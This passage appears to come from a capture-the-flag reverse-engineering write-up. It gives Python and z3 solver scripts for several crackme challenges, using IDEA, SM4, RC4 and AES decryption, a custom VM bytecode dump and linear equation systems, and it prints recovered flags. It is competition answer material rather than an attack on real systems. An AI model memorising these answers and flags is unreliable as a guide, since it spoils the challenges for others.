        x = _add(x, keyschedule[j + 1])
        y = _add(y, keyschedule[j + 2])
        z = _multiply(z, keyschedule[j + 3])
        u = _multiply(w ^ y, keyschedule[j + 4])
        v = _multiply(_add(x ^ z, u), keyschedule[j + 5])
        u = _add(u, v)
        w ^= v
        x ^= u
        y ^= v
        z ^= u
        x, y = y, x

    # Perform final half-round
    x, y = y, x
    w = _multiply(w, keyschedule[-4])
    x = _add(x, keyschedule[-3])
    y = _add(y, keyschedule[-2])
    z = _multiply(z, keyschedule[-1])

    # Serialize the final block as a bytelist in big endian
    return [
        w >> 8, w & 0xFF,
        x >> 8, x & 0xFF,
        y >> 8, y & 0xFF,
        z >> 8, z & 0xFF]


# Given a 16-
element bytelist, this computes and returns a tuple containing 52 elements of ui
nt16.
def _expand_key_schedule(key):
    # Pack all key bytes into a single uint128
    bigkey = 0
    for b in key:
        assert 0 <= b <= 0xFF
```

```
        bigkey = (bigkey << 8) | b
    assert 0 <= bigkey < (1 << 128)

    # Append the 16-bit prefix onto the suffix to yield a uint144
    bigkey = (bigkey << 16) | (bigkey >> 112)

    # Extract consecutive 16 bits at different offsets to form the key schedule
    result = []
    for i in range(_NUM_ROUNDS * 6 + 4):
        offset = (i * 16 + i // 8 * 25) % 128
        result.append((bigkey >> (128 - offset)) & 0xFFFF)
    return tuple(result)


# Given an encryption key schedule, this computes and returns the
# decryption key schedule as a tuple containing 52 elements of uint16.
def _invert_key_schedule(keysch):
    assert isinstance(keysch, tuple) and len(keysch) % 6 == 4
    result = []
    result.append(_reciprocal(keysch[-4]))
    result.append(_negate(keysch[-3]))
    result.append(_negate(keysch[-2]))
    result.append(_reciprocal(keysch[-1]))
    result.append(keysch[-6])
    result.append(keysch[-5])

    for i in range(1, _NUM_ROUNDS):
        j = i * 6
        result.append(_reciprocal(keysch[-j - 4]))
        result.append(_negate(keysch[-j - 2]))
        result.append(_negate(keysch[-j - 3]))
        result.append(_reciprocal(keysch[-j - 1]))
        result.append(keysch[-j - 6])
        result.append(keysch[-j - 5])

    result.append(_reciprocal(keysch[0]))
    result.append(_negate(keysch[1]))
    result.append(_negate(keysch[2]))
    result.append(_reciprocal(keysch[3]))
    return tuple(result)


# ---- Private arithmetic functions ----

# Returns x + y modulo 2^16. Inputs and output are uint16. Only used by _crypt()
.
def _add(x, y):
    assert 0 <= x <= 0xFFFF
    assert 0 <= y <= 0xFFFF
    return (x + y) & 0xFFFF


# Returns x * y modulo (2^16 + 1), where 0x0000 is treated as 0x10000.
# Inputs and output are uint16. Note that 2^16 + 1 is prime. Only used by _crypt
().
def _multiply(x, y):
    assert 0 <= x <= 0xFFFF
    assert 0 <= y <= 0xFFFF
```

```
    if x == 0x0000:
        x = 0x10000
    if y == 0x0000:
        y = 0x10000
    z = (x * y) % 0x10001
    if z == 0x10000:
        z = 0x0000
    assert 0 <= z <= 0xFFFF
    return z


# Returns the additive inverse of x modulo 2^16.
# Input and output are uint16. Only used by _invert_key_schedule().
def _negate(x):
    assert 0 <= x <= 0xFFFF
    return (-x) & 0xFFFF


# Returns the multiplicative inverse of x modulo (2^16 + 1), where 0x0000 is
# treated as 0x10000. Input and output are uint16. Only used by _invert_key_sche
dule().
def _reciprocal(x):
    assert 0 <= x <= 0xFFFF
    if x == 0:
        return 0
    else:
        return pow(x, 0xFFFF, 0x10001)  # By Fermat's little theorem


# ---- Numerical constants/tables ----
if __name__ == '__main__':
    _NUM_ROUNDS = 8


    k  = unhexlify('1f ef aa fe 12 4f f4 5f 1a 90'.replace(' ',''))
    # print(len(k))
    a = ARC4.new(k)

    enc = unhexlify('60 dc bc f3 57 8f d2 16 fd b9 1e d8 aa c9 34 d6 50 dc 16 87
 57 8f f7 2f 7f a7 8d 21 aa d9 66 e5'.replace(' ',''))

    print('len rc4 result', len(enc))
    k1 = a.decrypt(enc[:16])
    a = ARC4.new(k)
    sm4_key = a.decrypt(enc[16:])

    enc2 = 'a2 77 1a 22 48 84 73 e7 32 fd bc 96 5f 64 60 46 d3 f5 9f b3 84 d4 8f
 24 a3 c6 aa cb e1 94 7d 58 1c a3 e4 12 e7 b7 86 86 7d 9b 0c ad ee b3 ee 11'.spl
it(' ')
    # print(len(enc2))

    for i in range(48):
        enc2[i] = int(enc2[i],16)

    k11 = []
    for i in range(16):
        k11.append(k1[i])
    de1 = []
```

```
    k11 = bytearray(k11)
    print('idea key:', hexlify(k11))
    for i in range(0,48,8):
        de1 += (ideadecrypt(enc2[i:i+8],k11))

    de1 = bytearray(de1)
    print('idea decrypt result:' , hexlify(de1))
    #de1 = ''.join(chr(i) for i in de1)
    de2 = b''
    sm4_key = bytearray(sm4_key)
    print('sm4 key', (hexlify(sm4_key)))
    for i in range(0,48,16):
        kk = bytes_to_long(sm4_key[:16])
        enc = bytes_to_long(de1[i:i+16])
        de2 += long_to_bytes(decrypt(enc, kk))

    print('sm4 decrypt result', hexlify(de2))
    # print(len(de2))
```

Output:

```
len rc4 result 32
idea key: b'1333efdfaa1a3f1a4fe13f1610024331'
idea decrypt result:
b'c7d4830dd06755741bf39a4fb611d79fc0c05e1fe41cb213a0eb75b9e4c45527ecc217f217ad0b
81016edecc4b383a70'
sm4 key b'233345abaa1a1a23cdffacef10121102'
sm4 decrypt result
b'e2aae4282edb06a303752de2430da6ace9f38e7640e955fd99e37f16247b0695f249e5e38ae428
8ededb76fc2ba9fdbc'
```

Script2:

```
from z3 import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
from multiprocessing import Pool
from binascii import unhexlify


def rev(dst):
    s = Solver()
    v4 = BitVec('v4', 32)
    s.add(dst == v4 ^ ((LShR((v4 ^ (32 * v4)), 17)) ^ (32 * v4) ^
                       ((LShR((v4 ^ (32 * v4)), 17) ^ v4 ^ (32 * v4)) << 13)))
    assert s.check() == sat
    return s.model()[v4].as_long()


def worker(args):
    id, num = args
    print(f'id:{id}, trying {hex(num)}')
    for i in range(100016):
        num = rev(num)
    return long_to_bytes(num)[::-1]
```

```
if __name__ == '__main__':
    de2 = unhexlify(
        'e2aae4282edb06a303752de2430da6ace9f38e7640e955fd99e37f16247b0695f249e5e
38ae4288ededb76fc2ba9fdbc')
    with Pool(12) as p:
        result = p.map(
            worker, [(i, bytes_to_long(de2[i*4:(i+1)*4]
[::-1])) for i in range(12)])
    print(b''.join(result).decode())
```

Output:

```
id:0, trying 0x28e4aae2
id:1, trying 0xa306db2e
id:2, trying 0xe22d7503
id:3, trying 0xaca60d43
id:4, trying 0x768ef3e9
id:5, trying 0xfd55e940
id:6, trying 0x167fe399
id:7, trying 0x95067b24
id:8, trying 0xe3e549f2
id:9, trying 0x8e28e48a
id:10, trying 0xfc76dbde
id:11, trying 0xbcfda92b
flag{wf3224s3r4datgsjx524xfsfd1fghzrav42lo1d0a0}
```

firmware_blob

```
operands = [
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 103, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, -116, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 80, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 3, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
```

```
  [ '4', 1, 122, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 78, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 4, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 111, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 126, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 16, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 6, 0 ],
  [ '4', 2, 4, 0 ],
  [ '=', 1, 2, 1 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 66, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 12, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 71, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 9, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 8, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 92, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 9, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 67, 0 ],
  [ '=', 0, 1, 0 ],
```

```
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 11, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 31, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 45, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 8, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 90, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 10, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 110, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 8, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '4', 2, 4, 0 ],
  [ ';', 1, 2, 1 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 43, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '4', 2, 3, 0 ],
  [ ';', 1, 2, 1 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 58, 0 ],
  [ '=', 0, 1, 0 ],
```

```
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 8, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 50, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 9, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 100, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 108, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 10, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 57, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 1, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 59, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 1, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 106, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
```

```
  [ '4', 1, 2, 0 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 116, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, -56, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 88, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 111, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 104, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 116, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
```

```
  [ '4', 1, 3, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 109, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ '4', 2, 2, 0 ],
  [ ';', 1, 2, 1 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 56, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ '4', 2, 1, 0 ],
  [ ';', 1, 2, 1 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 51, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 106, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, -126, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 69, 0 ],
  [ '=', 0, 1, 0 ],
```

```
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '=', 0, 1, 0 ],
  [ '4', 1, 8, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 110, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 8, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 121, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ':', 0, 1, 0 ],
  [ '4', 1, 3, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 122, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '4', 2, 3, 0 ],
  [ ';', 1, 2, 1 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 62, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '4', 2, 2, 0 ],
```

```
  [ ';', 1, 2, 1 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 4, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 100, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 1, 0 ],
  [ '4', 2, 2, 0 ],
  [ ';', 1, 2, 1 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 15, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 64, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 2, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 2, 0 ],
  [ '4', 2, 1, 0 ],
  [ ';', 1, 2, 1 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 5, 0 ],
  [ 'n', 0, 1, 0 ],
  [ '4', 1, 110, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 53, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '4', 0, -1, 0 ],
  [ '4', 1, 1, 0 ],
  [ ';', 0, 1, 0 ],
  [ '4', 1, 126, 0 ],
  [ '=', 0, 1, 0 ],
  [ 'o', 0, 0, 0 ],
  [ '#', 0, 0, 0 ],
]
from z3 import *

s = Solver()

class Process():
    def __init__(self):
        self.buf = [0] * 10
        self.result = 0
        self.handlers = {
            ';': self.add,
            '=': self.sub,
            ':': self.mul,
            '?': None,
            '5': None,
            'n': self.xor,
```

```
            '4': self.put,
            'O': self.addret,
        }
        self.vars = []

    def add(self, op):
        self.buf[op[3]] = self.buf[op[1]] + self.buf[op[2]]

    def sub(self, op):
        self.buf[op[3]] = self.buf[op[1]] - self.buf[op[2]]

    def xor(self, op):
        self.buf[op[3]] = self.buf[op[1]] ^ self.buf[op[2]]

    def mul(self, op):
        self.buf[op[3]] = self.buf[op[1]] * self.buf[op[2]]

    def put(self, op):
        self.buf[op[1]] = op[2]

    def addret(self, op):
        self.result += self.buf[0]

    def process(self):
        i = 0
        for op in operands:
            if op[0] == '#':
                break
            if op[0] == '4' and op[2] == -1:
                #s = Solver()
                s.add(self.buf[0] == 0)
                s.check()
                print s.model()
                op[2] = BitVec('x%d' % i, 8)
                i += 1
                self.vars.append(op[2])
            self.handlers[op[0]](op)

p = Process()
p.process()
```

imitation_game

第一个加密有点像aes，

```
iv = '202122232425262728292A2B2C2D2E2F'.decode('hex')
k  ='3E2C251318BEC36BA1372453031E51EC'.decode('hex')
enc = [  0x9D, 0x7B, 0xA2, 0x3C, 0xB1, 0x09, 0x9A, 0x48, 0x41, 0xD1,
  0x66, 0x63, 0xD6, 0xAE, 0x3C, 0xAB, 0xE5, 0x55, 0xE7, 0x98,
   0x09, 0xCD, 0x7F, 0xBA, 0x8D, 0x9E, 0x9A, 0xA4, 0xC4, 0xC6,
    0xD3, 0x06, 0xEB, 0x6F, 0x08, 0x91, 0x3A, 0x22, 0xAA, 0x04,
  0xF1, 0x18, 0xB0, 0xC9, 0x23, 0xAE, 0xB4, 0x32, 0x61, 0xCC,
   0x87, 0x6D, 0xD2, 0x94, 0x35, 0x1D, 0x28, 0x27, 0x75, 0x47,
0x4F, 0xFA, 0x90, 0xCB]
e = ''.join(chr(i) for i in enc)
a = AES.new(k,AES.MODE_CBC,iv)
In [34]: a.decrypt(e)
Out[34]:
'6c8f1d78770fe672122478c6f9a150e5\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1
a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1
a'
```

flag1 : 6c8f1d78770fe672122478c6f9a150e5

第二部分：

直接用https://github.com/drguildo/CHIP8Decompiler就可以还原大部分逻辑，通过逆向反汇编出来的字节码并结合调试，可以发现程序先对输入逐位进行了变换，之后结合输入调用0x027A(调试发现是乘法)进行运算，最后进行判断，所以直接按照逻辑解方程即可

```
from z3 import *

flags = []

for i in xrange(10):
    exec('v{0} = BitVec("a{0}",8)'.format(i))
    exec('flags.append(v{0})'.format(i))
so = Solver()
for i in flags:
    so.add(i <= 0xf)

v0 = v0 + 2
v1 = v1 + 1
v2 = (v2 + 1) ^ 1
v3 = v3 + 3
v4 = v2 + 2
v5 = (v5^2) + 1
v6 = v6 + v6
v7 = v7 + 1
v8 = (v8 ^ 1) + 1
v9 = v9 + 2


so.add(v0 + 2 * v1 + v2 == 33)
so.add(2 * v0 + v1 + v2 == 42)
so.add(v0 + 2 * v1 + 2 * v2 == 48)
so.add(v3 + 2 * v4 + v5 == 55)
so.add(2 * v3 + v4 + v5 == 55)
so.add(v3 + 2 * v4 + 2 * v5 == 59)
so.add(v6 + 2 * v7 + v8 == 31)
so.add(2 * v6 + v7 + v8 == 22)
```

```
so.add(v6 + 2 * v7 + 2 * v8 == 32)
so.add(v9 == 5)


print(so.check())
m = so.model()

print(m)
res = ''
for i in flags:
    res += hex(m[i].as_long())[2:]

print(res)
```

xx_warmup_obf

init里面初始化了一个sigtrap的handler，handler里面根据int3之前设置的current_state从state_table映射到一个next_magic_table，magic来决定下一次的条件跳转的taken状态，最后的校验是一个方程组，patch一下从402D05开始之后的混淆，然后可以使用IDA把运算逻辑反编译出来，整理一下用z3求解即可

```
from z3 import *

flag = [BitVec(f'f{i}',32) for i in range(28)]
s = Solver()
for each in flag:
    s.add(each>32)
    s.add(each<128)
s.add(23925 * flag[0] == 2440350)
s.add(281400 * flag[1] - 7037 * flag[0] == 29673426)
s.add(174826 * flag[0] - 255300 * flag[2] - 283573 * flag[1] == -37557732)
s.add(259881 * flag[2]+ -98445 * flag[1]- 276718 * flag[0]+ 4524 * flag[3] == -1
3182867)
s.add(285576 * flag[2]+ -274569 * flag[3]+ 94721 * flag[0]- 228216 * flag[4]- 60
353 * flag[1] == -25506885)
s.add(260927 * flag[3]+ -5496 * flag[1]+ -294195 * flag[4]+ 264844 * flag[2]+ 12
5853 * flag[5]- 153661 * flag[0] == 13075233)
s.add(17630 * flag[0]+ -258397 * flag[3]+ -244952 * flag[1]+ -244086 * flag[2]+
-130259 * flag[5]- 190371 * flag[6]- 109961 * flag[4] == -111027477)
s.add(117817 * flag[5]+ 268397 * flag[7]+ -198175 * flag[1]+ 18513 * flag[2]+ 21
8992 * flag[6]+ -6727 * flag[3]+ 228408 * flag[0]+ 224658 * flag[4] == 78775012)
s.add(-288418 * flag[3]+ -218493 * flag[7]+ -236774 * flag[0]+ 77982 * flag[2]+
190784 * flag[4]+ -84462 * flag[1]+ 92684 * flag[8]+ 52068 * flag[5]- 243023 * f
lag[6] ==  -52520267)
s.add(-196269 * flag[8]+ -64473 * flag[7]+ -142792 * flag[5]+ 171321 * flag[4]+
-39259 * flag[9]+ -269632 * flag[2]+ 229049 * flag[6]+ 96631 * flag[3]- 280754 *
 flag[1]- 168397 * flag[0] == -70797046)
s.add(-235026 * flag[4]+ 162669 * flag[8]+ -256202 * flag[1]+ -32946 * flag[9]+
-25900 * flag[2]+ 195039 * flag[10]+ 182157 * flag[3]+ 292706 * flag[0]+ -93524
* flag[5]+ 121516 * flag[6]+ 165207 * flag[7] == 28263339)
s.add(-131770 * flag[6]+ -92964 * flag[9]+ -111160 * flag[8]+ -258188 * flag[7]+
 133728 * flag[1]+ -272650 * flag[5]+ -4940 * flag[10]+ 272791 * flag[3]+ 80519
* flag[2]+ -165434 * flag[11]+ 50166 * flag[0]+ 148713 * flag[4] == -22025185)
```

```
s.add(-262820 * flag[4]+ 9710 * flag[10]+ 71182 * flag[12]+ -184125 * flag[1]+ -
100280 * flag[6]+ 62018 * flag[11]+ 141532 * flag[9]+ -138253 * flag[8]+ 20489 *
 flag[0]+ -214348 * flag[2]+ 162962 * flag[3]- 93199 * flag[7]+ 147171 * flag[5]
 == -31396844)
s.add(-55254 * flag[8]+ 220404 * flag[12]+ -86956 * flag[10]+ -200702 * flag[5]+
 -51437 * flag[1]+ 25739 * flag[6]+ 122945 * flag[3]+ 116256 * flag[7]+ 22859 *
flag[4]+ -61880 * flag[9]+ -119275 * flag[2]+ -224754 * flag[13]- 75412 * flag[0
]+ 59999 * flag[11] == -37063008)
s.add(111310 * flag[0]+ 198502 * flag[3]+ -189890 * flag[13]+ 278745 * flag[5]+
157462 * flag[9]+ 135809 * flag[4]+ -2621 * flag[2]+ 67553 * flag[6]+ 144834 * f
lag[1]+ -88326 * flag[11]+ -228149 * flag[10]+ 233663 * flag[14]+ -249960 * flag
[12]+ 300012 * flag[8]+ 91783 * flag[7] == 93457153)
s.add(15897 * flag[0]+ -11943 * flag[13]+ 194067 * flag[3]+ 125666 * flag[2]+ 10
4421 * flag[12]+ -181764 * flag[5]+ -233813 * flag[8]+ -235783 * flag[4]+ 230636
 * flag[11]+ 148005 * flag[6]+ -48167 * flag[14]+ -163572 * flag[9]+ 54553 * fla
g[10]+ -129997 * flag[1]+ 114175 * flag[7]- 251681 * flag[15] == -36640750)
s.add(-90549 * flag[3]+ -228520 * flag[14]+ 34835 * flag[10]+ -203538 * flag[15]
+ 272318 * flag[13]+ -68478 * flag[8]+ 22454 * flag[9]+ 74128 * flag[12]+ 70051
